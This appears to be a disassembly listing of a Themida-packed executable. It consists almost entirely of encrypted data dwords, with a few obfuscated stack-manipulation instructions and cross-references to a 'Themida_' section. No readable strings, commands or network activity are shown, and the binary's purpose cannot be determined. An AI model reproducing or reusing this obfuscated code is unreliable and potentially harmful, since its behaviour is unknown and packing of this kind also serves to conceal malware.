288ABDB9h, 0F6A1CFDh dd 5F59D7BFh, 81A6C680h, 7155C7h, 33C58A00h, 0DAE7B8DBh dd 34FF6040h, 7E93Bh, 91370000h, 839D4F4Fh, 0C6815E27h dd 3662F5A3h, 0EB55657h, 0F6815A5Ah, 0E2ED89Ah, 11E9h dd 4D2C500h, 0B761E00Fh, 3E5B3F87h, 89B2B49Bh, 0EE81DBC1h dd 6338DF18h, 46D68053h, 1F34895Ah, 0FD38B66h, 0EB83C7B7h dd 6CF18104h, 814FA300h, 0FF8F60FBh, 9F850FFFh, 0FFFFFFFh dd 168Ch, 0EE800h, 6E980000h, 47977508h, 10480276h, 0A0068810h dd 0EB596160h, 8, 3F56E700h, 53DE920h, 16680000h, 0E9060D73h dd 0FFFA0B6Bh, 0D739968h, 0B61E906h, 6D68FFFAh, 0E9060D75h dd 0FFFA0B57h, 0A237CEFFh, 9B30CFFBh, 962BC6F4h, 9025C0EFh dd 861BB6E9h, 0E518D3EBh, 0E310B74Ch, 0DC0EB54Ah, 0DD0DB449h dd 7AE8B54Ah, 96801B8Ch, 414F6643h, 28CF6A98h, 2CD9A58Fh dd 3AC168F9h, 1788760Ah, 6249A3F2h, 0AB59EE8Fh, 9037D602h dd 62EA0DF7h, 7B24D46Ah, 7A08AF4Eh, 0A3F21B8Ch, 0F2936649h dd 0F1FD6E5Ch, 754849A3h, 0F80F458Bh, 0D7AA47A2h, 0E6F76430h dd 4124439Ch, 0CAE4F1F7h, 71F61FB5h, 5A000003h, 0E999C03Eh dd 0A3F28AFBh, 5DE4F449h, 89BB51C4h, 21442E01h, 1D0BA199h dd 47A26F73h, 0C8D45B2Eh, 0B8797892h, 67967C04h, 0ED8E27CEh dd 0F18F6957h, 0D7AA4435h, 4F2A230h, 402FF193h, 0E9A20BDEh dd 0AA156D01h, 0A830533Dh, 0E02C1AB0h, 0A73E2E16h, 65953ED4h dd 66963DD2h, 2CEFF9CFh, 0DC0BF313h, 3A05Bh, 50E51600h dd 4DE814BBh, 48E311B8h, 44DD0CB3h, 3CD508AFh, 39F40CA7h dd 2FD66B06h, 27CE6302h, 26CD62F5h, 0FDCA5FF6h, 7F30A18Fh dd 647B4396h, 8A820A92h, 0C1B371F4h, 9591593h, 0BE29171Fh dd 5479874h, 61931444h, 0E57E25C6h, 10FEAE44h, 4395D49Fh dd 252D17EAh, 23B8497Ch, 0A46FF275h, 0E7C187D7h, 98012F95h dd 1C06050Eh, 0A64DE81Bh, 0FC2722DAh, 0E382B2B9h, 615CF50Dh dd 5DDE0DFAh, 31Dh, 2EC36293h, 27BC5B87h, 22B75280h, 1CB14C7Bh dd 1AAF4275h, 79AC677Fh, 7FAC53E8h, 78AA51E6h, 71A148DDh dd 67441D6h, 967FA718h, 9DBF243h, 699C820Ah, 801B49D8h dd 6EA049DFh, 0F3E1E9D3h, 47992088h, 0C755FCCFh, 6B55F01Eh dd 9680B825h, 37CAFC43h, 0A3140290h, 0EE439680h, 0C65F8C1Bh dd 99A7781Fh, 0A14F79Dh, 0BC2E11C4h, 0E20EB71Fh, 19039C43h dd 20F25h, 0FC2C8900h, 0C0006DA1h, 0A37961D2h, 70D9AC49h dd 21C25D92h, 2FC3F37Ah, 0A3CED041h, 4FE21449h, 0BE53F4C7h dd 0DF756DF5h, 8F7D0336h, 49A3CE1Eh, 0BF59669h, 0E46B1503h dd 532647A2h, 449B1EACh, 76E7D5E0h, 0C1439CCDh, 0C39F85EEh dd 0DA478D77h, 7439CB5h, 68D9C777h, 0B3439CB5h, 8D9BF6E0h dd 0B5F98A4Bh, 4C501Fh, 0CF780000h, 162099Ch, 0A229A421h dd 0E1CB6CFFh, 9C820A15h, 503ED46Dh, 49A3F2DFh, 20B6572Ah dd 5AC4B77h, 16B74E7Eh, 0F174242Ch, 0D34CB46Ah, 0B513BA9h dd 47A22689h, 6E3AE1B4h, 439C0601h, 0FBFD4B2Eh, 1FB6ABDAh dd 0F800h, 0FC2C6400h, 0FA2AD369h, 66D7C55Bh, 0B149A3F2h dd 54DBF4DEh, 0FDEB9B21h, 49A3F28Ch, 0BF3004D7h, 0A49A3F2h dd 42B3A137h, 8D49A3F2h, 0EB7219BAh, 0EE751CBBh, 0E19127BEh dd 0A3F282F3h, 10FACD49h, 0EE861D09h, 0E61649A3h, 9236B94Fh dd 0D330F697h, 49F7FEE8h, 0E9D36EA0h, 25583EC6h, 0D255EB8Ch dd 72D64272h, 0ACB49ECFh, 9C2234BEh, 82AE6F47h, 0FCAC42E3h dd 20892453h, 2B9449B4h, 0F8F9E351h, 0E9972CC5h, 0D6B11440h dd 0A33E4054h, 851EC566h, 729001EFh, 8DB439Ah, 57EA1D1Eh dd 66A01381h, 0B73867FAh, 149h, 62F78EBFh, 5BF08FBBh, 56EB86B4h dd 50E580AFh, 46DB76A9h, 0A5D893ABh, 0A3D0770Ch, 9CCE750Ah dd 9DCD7409h, 3AA8750Ah, 967DDB4Ch, 3D0F2643h, 4CA0F92Ch dd 41590CCAh, 0DD8B20C1h, 0B7CE3F2Dh, 461949A3h, 0EDEE6DDDh dd 8F790DD1h, 32C75E8Eh, 69FC2CC0h, 6C0B3BC2h, 0C73826D6h dd 1249A3F2h, 86B12077h, 9AAE46Eh, 0C74F181Fh, 629039CFh dd 9D8720C7h, 1DD3A795h, 33DC47A3h, 2AC36A05h, 0DD734640h dd 8D7B0134h, 439C8D1Ch, 5DF39467h, 4C9EF6DAh, 0C01A831Eh dd 7F867003h, 9C812693h, 9B3A6A43h, 0AB2C5F06h, 0A13AE17Ch dd 96D85900h, 4E000000h, 0A795820Ah, 49A3F236h, 770DAE81h dd 99201A89h, 0AB996147h, 4396803Ah, 36AA16A4h, 66EE63C2h dd 0C44BF293h, 0C56C0194h, 8F5B0295h, 61C7F6ACh, 0CE4CADDCh dd 7BDC2EC8h, 35BC6304h, 64C56C07h, 0C3B7B317h, 6B3CEB77h dd 29561DDh, 46DA0A34h, 6410E758h, 0E57C511Dh, 0FB1C93DEh dd 6AFFA073h, 11FF93C3h, 1D648CA0h, 0E17718EBh, 0F8C6585Eh dd 0A38DEBE5h, 39D4038Ah, 0AE312792h, 0DB3450D4h, 0CE2913FFh dd 0FA6D640h, 4A3D37Ah, 3DC5Dh, 5E520000h, 6AFB2C7Ch, 790C3CC3h dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h dd 0B14C7A01h, 0B857830Ah, 55686711h, 89000034h, 8953241Ch dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 2404895Ch, 8904EC83h dd 0B951240Ch, 60D722Dh, 0C8BC889h, 4C48324h, 240C8B54h dd 5304C483h, 5989C389h, 241C8B08h, 8B04C483h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_544543 ; --------------------------------------------------------------------------- dd 0AF51FEEBh, 0B8DAFAA8h, 60D76DBh, 0E0FFC503h, 24361FE7h dd 5250E866h, 20FD2388h, 65E85D8Ch, 1BA50558h, 72821150h dd 6E8h, 0ACE29300h, 66CD1C2Eh, 26FEF381h, 0BF0F605Fh dd 6173B7CFh, 5B4AC781h, 0FE90000h, 0AF000000h, 0E14FE3BBh dd 0B6989116h, 19229C34h, 2BBA060Dh, 810D4BBEh, 4BA785EAh dd 0CE80Dh, 0A8F0000h, 193DA073h, 0FCB51C76h, 0F381F288h dd 650A7390h, 0BB37FF5Bh, 366E247Ch, 0F1816658h, 0F0819CDCh dd 2ECDA688h, 12E3BE66h, 6D7F081h, 0BF0F1775h, 9E881D8h dd 661BA157h, 50451AB9h, 78FDA8Bh, 0F03EF83h, 80h, 0CB814F00h dd 351EB8B4h, 0F01EA83h, 0E85h, 19E900h, 7A0A0000h, 0D195A6D5h dd 6661A9A6h, 20B4D181h, 0FFFFA0E9h, 37E7ACFFh, 8DE994ECh dd 0D78F68Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 1F4E0D51h, 0ED858994h, 8906071Fh dd 71AD98Dh, 65BD0306h, 8B060708h, 72FE595h, 1D85C706h dd 0C0060710h, 8900005Eh, 719519Dh, 585C706h, 60733h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 3F7C355h, 72049B5h, 0E9B5FF06h, 6A06070Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0B845C357h, 34433346h, 185995FFh, 8C0F0607h dd 1Ah, 0EE8h, 34986F00h, 807FD7CEh, 1A8F279Ah, 8B95DB3Dh dd 713C9BDh, 6A5A06h, 0D6995FFh, 0C08B0607h, 0C8F45EEBh dd 4DA818F5h, 4313CEB8h, 2391E3A5h, 0DF005316h, 0AF57CC1Ch dd 0FD7FAA9Eh, 373079D9h, 0BF3F0B3Fh, 0DF698791h, 912E5BCFh dd 3A4B9540h, 0CA37D555h, 0C2241F1h, 3F1F9F28h, 3E3CBD63h dd 21D4DB76h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh, 0A10C7111h dd 0C293F10Ch, 0E419EB38h, 765565h, 7A708D8Dh, 6A060Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 5C8031C3h, 0ABA0D127h, 6646DA38h, 899482BFh, 71AD98Dh dd 118D8906h, 0C706070Ah, 7101D85h, 5FF806h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0CC864EE2h, 0D5941881h, 6FF1C081h, 85C70A4Ch, 6073305h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 9FC35141h dd 800F93C5h, 5, 297A4DBEh, 0D3B70F27h, 2639B5FFh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 8A0170C3h, 8DBE2264h, 0E96A837Eh, 8, 573F333Eh, 164E72A8h dd 185995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 635D0C3h, 0C5C6800Bh, 0D3DBD8Bh dd 0F3810607h, 483D895Ch, 95FF006Ah db 69h, 0Dh, 7 byte_5A422F db 6 ; DATA XREF: Themida_:0053D1D0o dd 4CEBC08Bh, 464BB1CFh, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch dd 0BC60FDE4h, 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh dd 0EA757DF5h, 0A5F925FBh, 78B7871h, 168A4BC5h, 6055D774h dd 0C68A9BA4h, 1F2133E8h, 39654041h, 341B3413h, 0FF75E063h dd 0BE8h, 0BDBA0500h, 14102CCDh, 0FA269E53h, 0E6D9D8Bh dd 335E0607h, 71E298Dh, 47C68106h, 60000059h, 0D3DB531h dd 0E6810607h, 4981FEFEh, 2E66BA61h, 0F28130D9h, 30D93853h dd 0F53E8BF5h, 289CF781h, 8D8B56AFh, 60722EDh, 6CE1F781h dd 81F968C4h, 28D9E5C7h, 0F9BD8934h, 57060700h, 3F99D89h dd 68F0607h, 1211858Bh, 0EE830607h, 4AFC8A04h, 0FFC3850Fh dd 0C0B0FFFFh, 5E8h, 2C95A300h, 8166A538h, 5F1E92C0h, 1A619589h dd 0C7810607h, 65B4h, 0E5EAB866h, 0CA374AB9h, 6F18133h dd 133CA2Eh, 71F5585h, 8B37FF06h, 71B4D95h, 81F95B06h dd 8B34E3C3h, 0CCC38154h, 2B2684CEh, 714CDB5h, 4CC38106h dd 531A2651h, 1091858Bh, 535A0607h, 0A71860BAh, 81078F11h dd 0CC12CEF2h, 1EF8308h, 4FD0B70Fh, 9D314F4Fh, 60719A5h dd 0F01E983h, 0FFFFB085h, 6800FFFh, 89000000h, 707BD8Dh dd 6C8D8D06h, 8B060D7Ch, 71F75B5h, 0D98D8906h, 6A06071Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0EFBAC357h, 2D001110h, 0CA3EA813h, 87F08166h dd 1D85C793h, 0DC060710h, 6A000068h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F1B1C356h dd 0E0DF749Eh, 0BF0F7011h, 0D08166C6h, 85C73948h, 6073305h dd 0 dd 0C91B52Bh, 0B5FF0607h, 60712B5h, 2A219D89h, 95FF0607h dd 6071859h, 0F59D8957h, 5E06071Fh, 95FF006Ah, 6070D69h dd 68EBC08Bh, 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 0F30B638Dh dd 0EE8929A1h, 247F1B1Dh, 0AA0F6E69h, 112F4736h, 2D6759A5h dd 608AE520h, 0DA15E043h, 3174E8B1h, 0CBF4431h, 0D930FB37h dd 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h, 0B819074Fh, 39309B7Ah dd 61247730h, 76777293h, 5B0BEBF2h, 2F49B3BAh, 160F0AA3h dd 401AE8A7h, 4530B784h, 7D8C8D8Dh, 6A060Dh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 19D2F8C3h dd 81DE8B66h, 0C4FA45DBh, 0D98D892Eh, 0C706071Ah, 7101D85h dd 5A2C06h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 8F0FB66Ch, 6, 1F85B529h, 8D010607h dd 6072975h, 330585C7h, 607h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0FFFC0EC3h dd 71531B5h, 0B2BF5706h, 5A4F3084h, 185995FFh, 950B0607h dd 6072649h, 95FF006Ah, 6070D69h, 9EBC08Bh, 1FFC527Bh dd 59C7B2B2h, 798D8DD1h, 6A060D7Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 465CC353h dd 0C45A02Bh, 9E8818D5h, 28ED9523h, 8D890607h, 6071AD9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C6C35040h dd 0C79FF97Fh, 7101D85h, 66C806h, 0FBBF0F00h, 330585C7h dd 607h, 12E90000h, 3C000000h, 2BCFAFCEh, 2E09A5Bh, 589C2A82h dd 797BA4C0h, 0C5B5FF72h, 0F060707h, 95FFF0BFh, 6071859h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2CC35141h dd 9A26F93h, 36856307h, 0FE8h, 0FA84A500h, 0BD3D1C7Eh dd 0CA4FE666h, 32DA3CF9h, 4830Fh, 0BA660000h, 8B5F956Fh dd 0FF006AD8h, 70D6995h, 0EBC08B06h, 6719EC2Ah, 6C04B96Dh dd 0F1FE8B61h, 0AC15BA2Dh, 453A5B8Bh, 0E17DC95Eh, 12DCABF4h dd 4BCE605Fh, 0C8600925h, 8A2A2811h, 0E82926DFh, 0Eh, 5909A6Bh dd 0B1D6BBD4h, 950667ACh, 800F51B1h, 0 dd 0F38B6659h, 753DC181h, 0F5BE0000h, 0B824D348h, 0 dd 148BD98Bh, 499D8B01h, 81060710h, 5A5B2EEAh, 6850F70h dd 89000000h, 71B2D8Dh, 74F28106h, 892E4D77h, 713C18Dh dd 0AFF28106h, 0F5A12BAh, 8952F9B7h, 72B658Dh, 1048F06h dd 5810Fh, 2EBB0000h, 815796BAh, 0CB0FF9E6h, 3E88314h dd 6648F78Bh, 810735BFh, 0FF8B54F8h, 9F850FFFh, 60FFFFFFh dd 1EF9858Bh, 0ECB10607h, 2C8D8D61h, 0E9060D80h, 0Bh, 4486962Eh dd 55199A0Ah, 89DB60B2h, 71AD98Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 9ABAF2Ah, 917488BEh dd 5E50F5EEh, 101D85C7h, 6FD00607h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 74BA82C3h dd 2F7B02DBh, 0D18B3145h, 330585C7h, 607h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 6A6CD7C3h, 65DE6B3Dh, 660910F7h, 0B5FFD18Bh, 6070BE9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 73C35242h dd 128B25FDh, 67CDE644h, 665BB701h, 0DB1ACF81h, 185995FFh dd 858B0607h, 60712C1h, 95FF006Ah db 69h, 0Dh, 7 byte_5A47EB db 6 ; DATA XREF: Themida_:0053F4C4o dd 5EEBC08Bh, 0B3F3730h, 8791BF3Fh, 5BCFDF69h, 9540912Eh dd 0D5553A4Bh, 41F1CA37h, 9F280C22h, 0BD633F1Fh, 0DB763E3Ch dd 0E9FA21D4h, 81E5F1A6h, 256F0CF7h, 7111E325h, 0F10CA10Ch dd 0EB38C293h, 5565E419h, 97D80076h, 0CA9AE530h, 0DB977946h dd 0C0F71507h, 0FDBB11CDh, 764DA6BDh, 37FED928h, 7E8B02Dh dd 0D4000000h, 0D37AC04Eh, 958949B5h, 6071381h, 0C870F5Eh dd 0F000000h, 682h, 800F00h, 81000000h, 685EC6h, 52EA8000h dd 68h, 0C1816600h, 8B5FFD98h, 702E585h, 3734FF06h, 12198D01h dd 0E95B0607h, 6, 14FB1B59h, 0F3817B5Ch, 38D8AC78h, 14E8h dd 22DB5400h, 8D6829AEh, 9596EF10h, 0B6EB2FC1h, 195246F5h dd 5D9D291Dh, 5906070Ah, 72D3C381h, 81F55D27h, 6FE133EBh dd 0DD8D8B6Dh, 53060700h, 8E8h, 0D0754300h, 0EA32BD71h dd 0BFE18052h, 3E048F5Ah, 0F9C8F080h, 0B403EF83h, 0FF814F5Ah dd 0FFFF9858h, 0FF87850Fh, 6657FFFFh, 506ADA81h, 11E859h dd 117B0000h, 9339E5D9h, 13D9374Ah, 0BD3F19D4h, 0BB8C0FE0h dd 243A7A1Ch, 58D0F59h, 0BB000000h, 407010D6h, 5EE2C181h dd 7E90000h, 0C7000000h, 0FE49B0A9h, 7768D327h, 66000017h dd 605EFE8Bh, 6E960h, 795F0000h, 0EBF02A8Eh, 61FAB70Fh dd 13E9h, 1901600h, 2FC7E8AAh, 649A5791h, 581C2B32h, 8F71D240h dd 8B018B61h, 70881BDh, 74F08106h, 0E91A234Bh, 13h, 0EEEFB854h dd 0AE781EABh, 475945C7h, 98B16A18h, 813420D6h, 5BB6A3F0h dd 0F281662Ch, 0E8815400h, 3E2F7B39h, 953350F5h, 60720E5h dd 11E9018Fh, 0B2000000h, 0ED04E821h, 393E89D9h, 58EDDDC6h dd 8BF2560Bh, 0BF03E983h, 10AD307h, 0BE949h, 70F90000h dd 72C18E5Eh, 8D7D7D2Dh, 850F4E53h, 14h, 26E9F8h, 2DD90000h dd 839FFCD2h, 356D2B29h, 2CA65AF1h, 18718501h, 6AE90607h dd 0B7FFFFFFh, 402F90A4h, 0A5E89883h, 0C090EF3Ah, 8E8h dd 4A430200h, 0EACC61C7h, 5EEE8AECh, 9E9h, 0E392DB00h dd 192C2414h, 0C681C427h, 6F84h, 2925BD8Bh, 0EBBA0607h dd 8174344Eh, 343345EAh, 91BD8974h, 8B060705h, 6840F06h dd 81000000h, 0BF224DD7h, 8DF08131h, 8B25E4CBh, 729E19Dh dd 1DC08106h, 29198DDDh, 7052D8Dh, 0F8E88106h, 897CA988h dd 72C918Dh, 66068906h, 3F0AD181h, 6001EE83h, 12E9h, 0C0EAD800h dd 959ADE86h, 817D295Dh, 28EBD95Fh, 664BF174h, 618479B9h dd 604E4E4Eh, 14E9FCh, 0CE5B0000h, 6FC4BF4Ch, 0BDAF8C0Dh dd 0D978BF10h, 9943272Eh, 4A61C93Eh, 18850Fh, 3EB90000h dd 0E95EFBF9h, 31h, 0F4D90E84h, 0C45685C3h, 0F9BF1714h dd 6E9015Fh, 14000000h, 0B00EFDD2h, 0FF59E924h, 67EBFFFFh dd 1FD771Fh, 13672F8Dh, 766D12AAh, 96A46D08h, 0EE8ECh dd 0E4270000h, 0E09C52DBh, 18BC9634h, 0EB9D67C9h, 2F69958Bh dd 815F0607h, 83B08EBh, 44C78149h, 0F00005Bh, 3BED9BFh dd 81397184h, 719286F6h, 0E837FF39h, 10h, 0A99C518Dh, 53C6D74Fh dd 4D4A0130h, 9230EE52h, 5859DA8Bh, 0BE860h, 0EDD80000h dd 20703B25h, 0CC3C0BCEh, 0DD9D8BF7h, 5F060704h, 4CC08161h dd 0E958E2DBh, 6, 0A92724EDh, 0F08185D0h, 675426BBh, 35958B60h dd 0F06072Fh, 1882h, 12E800h, 0B6190000h, 78C72B3Bh, 63606A91h dd 0D570B66Ch, 0CF16A764h, 0F081615Bh, 8FA24AEh, 0BD1B589h dd 7890607h, 0FE8h db 0 byte_5A4BC9 db 0DFh, 76h, 8Ah ; DATA XREF: Themida_:0053DB2Co dd 0C2DB3453h, 35B36630h, 0A777F967h, 0EE9h, 0ECAB6400h dd 741D31A8h, 0B12DBE54h, 59168B59h, 7A26EF81h, 85895C46h dd 60702F1h, 7A22C781h, 8D315C46h, 607136Dh, 0F01EE83h dd 2885h, 8E800h, 0DFF80000h, 79A00FC4h, 6660C359h, 224CCE81h dd 61FB8B66h, 20E959h, 91A40000h, 0E386BFFEh, 20CC7768h dd 7D95290Ah, 0E9060728h, 0FFFFFF05h, 0E81A00A8h, 27C63317h dd 7582B32Bh, 690889A0h, 0A6DC7814h, 2249FF8Dh, 0A12E8636h dd 25908635h, 25480AD9h, 0E4990530h, 25148124h, 2576023Fh dd 98078630h, 23458321h, 57A58930h, 0E3908630h, 22414BB5h dd 7D4CC836h, 0A4868ACCh, 0E11A204h, 907BBA7Eh, 234592F1h dd 551903BDh, 0F56F803Ah, 0A08E76BBh, 23238FFDh, 16F7EE7Eh dd 11886ED0h, 87602314h, 34F77970h, 0A8278135h, 2FE0BEB5h dd 0AE987936h, 25343FC8h, 2DFB8630h, 83098630h, 258A033Fh dd 2E0B8630h, 0D5A489F9h, 0CC6F79CFh, 2548863Dh, 6EBF1BBDh dd 20AA8037h, 0DA098630h, 0AE390BD3h, 0A8448BB4h, 28A4CEBDh dd 823E36h, 0EA630000h, 75826FF1h, 690889A0h, 0A6DC7814h dd 2249FF8Dh, 0A12E8636h, 25908635h, 25480AD9h, 83990530h dd 0A4F305E9h, 22B9h, 218D8D00h, 8B060D86h, 718659Dh, 0D98D8906h dd 5306071Ah, 85C758F8h, 607101Dh, 5B40h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 34C35545h, 814D45C3h dd 2A7335C0h, 585C740h, 60733h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7CA9C355h dd 0FC6515CDh, 0D328A058h, 2039B5FFh, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 796646C3h, 66822777h, 0FFD193BFh, 7185995h, 29F88B06h dd 7296D95h, 0FF006A06h, 70D6995h, 0EBC08B06h, 0D5383C4Fh dd 389BC21Ch, 4A41C9AAh, 97A3EA8Dh, 644FA055h, 0A3713E91h dd 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h, 956493F3h dd 0EBDC32C7h, 3F25694Dh, 0CD76D8A9h, 1ABB68F7h, 0B0A21491h dd 7C0B8E48h, 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 13E8h dd 0DEEE7800h, 0B45283F2h, 73D81CABh, 493BFC8Eh, 40EC2307h dd 7118D8Bh, 0E85A0607h, 12h, 0CF04124Bh, 0D4011236h, 4E8F9BC7h dd 2D105B09h, 0DF8B99E3h, 2CC28159h, 6600005Fh, 8BB8CF8Bh dd 8145D715h, 0D6FDF3E8h, 958D8B45h, 8B060702h, 0C4EE8132h dd 8935F863h, 71F85BDh, 78C68106h, 0F7B0C7Dh, 58Bh, 0C1816600h dd 0C681B38Fh, 66DF45E4h, 89CFBF0Fh, 0F1816632h, 0EA83AA9Ah dd 8810F04h, 0F000000h, 289h, 485B5100h, 28850Fh, 0F600000h dd 284h, 8BCB8B00h, 70E3DBDh, 26E96106h, 1E000000h, 0E6FDBA45h dd 0B96E2B94h, 0D3E866C7h, 0A8A0D823h, 0FE8BC825h, 0FFFF8AE9h dd 368ECDFFh, 19FFCFC3h, 65F96500h, 0AA04EB68h, 0E94410E7h dd 849h, 7A0FA6D7h, 7308A7D3h, 6E039ECCh, 68FD98C7h, 5EF38EC1h dd 0BDF0ABC3h, 0BBE88F24h, 0B4E68D22h, 0B5E58C21h, 52C08D22h dd 966AF364h, 19273E43h, 56DC3D70h, 47E1F612h, 3602EC8Dh dd 0A3F279E7h, 58DBD49h, 0A3F2A617h, 7D1EF149h, 0B1971FE8h dd 0A43DE47Fh, 0FD7F6D03h, 2847A2FEh, 0F427AE55h, 0C7B54573h dd 439CDE56h, 862DCEA1h, 10B74CEDh, 179E45E0h, 953062E7h dd 9D3ED706h, 828C45F6h, 3CD16494h, 0B5D4983Dh, 0B3AB2E1Fh dd 0A5406DA7h, 0AAAE2A3Ch, 0E552D4F6h, 0CEB859AFh, 53DAh dd 0F92C3E00h, 8A33C168h, 0EA7D45Bh, 862DCE67h, 0CF0203EDh dd 395AFF6Eh, 31CA710Ch, 151ABDC8h, 631CCD74h, 9D386BD5h dd 0CFCC0908h, 210E19AEh, 72000000h, 0C168F92Ch, 0A3F287F5h dd 52FBE149h, 0C9FB8A23h, 4EE872Eh, 7EB19FA9h, 2AAD4EE3h dd 23000000h, 4C7AF92Ch, 0D0710AB1h, 0C5F29B29h, 8DF83E28h dd 0E449A3F2h, 2D3679FCh, 10A1E030h, 0D37DCB26h, 4DE817A0h dd 0D76C0DA6h, 4C7C2565h, 24ACCFB9h, 36E6962Ch, 0A3F2D748h dd 654F2249h, 0A2D0611Fh, 92390C47h, 0AD42DD0Bh, 963DD806h dd 0D76D65EDh, 8707E754h, 6D5711FFh, 1705B565h, 439C7FA6h dd 608F1EF1h, 9B851EC5h, 9B5CFF55h, 0A0471A41h, 0F422EC35h dd 0D74836C6h, 223D955Ch, 6F18AE4Fh, 6A03AA3Dh, 0A4D27980h dd 35966209h, 593D955Ch, 60E78E29h, 82ED942Dh, 802FEF39h dd 89B761AFh, 8E35D000h, 4DBF54F5h, 2F89810Ah, 0A225C214h dd 0C30A4A3Eh, 0A0A18B04h, 963FD570h, 0A027CE67h, 4832D36Eh dd 0D4B4267Ch, 1CAEB411h, 1FEBh, 810A4F00h, 2DCE699Bh dd 0C63725D3h, 1149A3F2h, 0B125E43Eh, 963FE2Ch, 3E32E4F6h dd 0A8000000h, 0F0497C25h, 1F41AA59h, 27CE6F85h, 0F881A48Eh dd 95C16A00h, 254410FAh, 0CAB44D7Ch, 0F263D4C2h, 1DA049A3h dd 0F97B59DBh, 963B6DC4h, 0B65C781Bh, 98F32B15h, 2CB1253Eh dd 0F60963FEh, 69FC2CE4h, 71BBF6C2h, 0DE1E499Fh, 1F907E2Eh dd 6A499F71h, 7152C397h, 74BC499Fh, 2663D42Eh, 0E17043CBh dd 0D77017B2h, 9A8492EDh, 8F36CB6Ah, 9422C95Ch, 3721BCEBh dd 51840336h, 0C7781FC0h, 0E316000Eh, 17BEBD52h, 0C519B31Ch dd 5Ch, 0ADEA6AEDh, 0C899605Eh, 0C46B0639h, 2C75412Bh dd 34C269FCh, 3BF75E8Bh, 10AE2BE7h, 0B2D5BF60h, 8011442Ah dd 72A049DFh, 4D256ED7h, 10803E89h, 0C6301E26h, 147A1FDh dd 0D2730E40h, 0C964933Ch, 869F8922h, 0EAFF82C2h, 0F12C6C8Bh dd 94E4EB54h, 8DB20162h, 50FE48A3h, 7EF08520h, 0C269FC2Ch dd 3999119h, 0A2F7A715h, 0E3BE447h, 12B95481h, 9831D879h dd 0E7A31402h, 1BEE439Ch, 0CF643731h, 89810A5Dh, 7B1A4AF3h dd 0C214C591h, 0D369FC2Ch, 0C2D28050h, 958AF392h, 0BAEA795Dh dd 2665311Bh, 0B411D4B4h, 4CEB1CAEh, 4F000000h, 2F89810Ah dd 0F2C63725h, 800349A3h, 5C9A6BB2h, 0F0EAD469h, 0ACDE871Dh dd 25632F19h, 0CB34E7Ch, 20B1E473h, 25BA2E36h, 9190C5A2h dd 69FF260Fh, 0A3530A7Bh, 98825549h, 74CE6997h, 7C25E4F6h dd 7912B94Ch, 33948Fh, 0A0A0000h, 70F38981h, 615F84F7h dd 0F590BFEAh, 2A14B54Eh, 8775255Eh, 49A3F216h, 9CA48E61h dd 791443ECh, 0F2D8498Fh, 8AE549A3h, 2CB12530h, 0F60963FEh dd 877525E4h, 49A3F216h, 0A3A48E61h, 9F2DD473h, 432DC8F6h dd 9F71C2FDh, 3CE52549h, 71D2790Ch, 0ECA7F6BFh, 9F892A16h dd 1C4CFA44h, 1A4DF489h, 0D46EF187h, 0E93EB4F7h, 0E5738C76h dd 0E770A3Ch, 0BD5C93FCh, 0FAFBE549h, 0E8982EC7h, 9FBA89FAh dd 1701D449h, 8A944DFEh, 0F3CE595h, 0BA31A276h, 4575499Fh dd 6D572AB2h, 13A8396Ch, 0B2F7C114h, 3C1B19h, 2C7F0000h dd 19C269FCh, 5A039991h, 4DE68D28h, 0FB6D5B63h, 3847A2EDh dd 0AADC5D8Fh, 36D77017h, 0D87F524Ch, 82B78114h, 0EE73E4D2h dd 0F6BE439Ch, 9CEE9708h, 6E0FE243h, 0B4538384h, 0A225AD1Fh dd 0D3C1A66Ah, 49A3D362h, 0AF71DAADh, 74755F30h, 721BB144h dd 6700A746h, 33BB647Dh, 0F1871A4Dh, 0A35E9203h, 690ADD49h dd 5AA3E5D3h, 7B4E47A2h, 810A74E6h, 0C2142F89h, 0F69FC2Ch dd 11D4B426h, 0EB1CAEB4h, 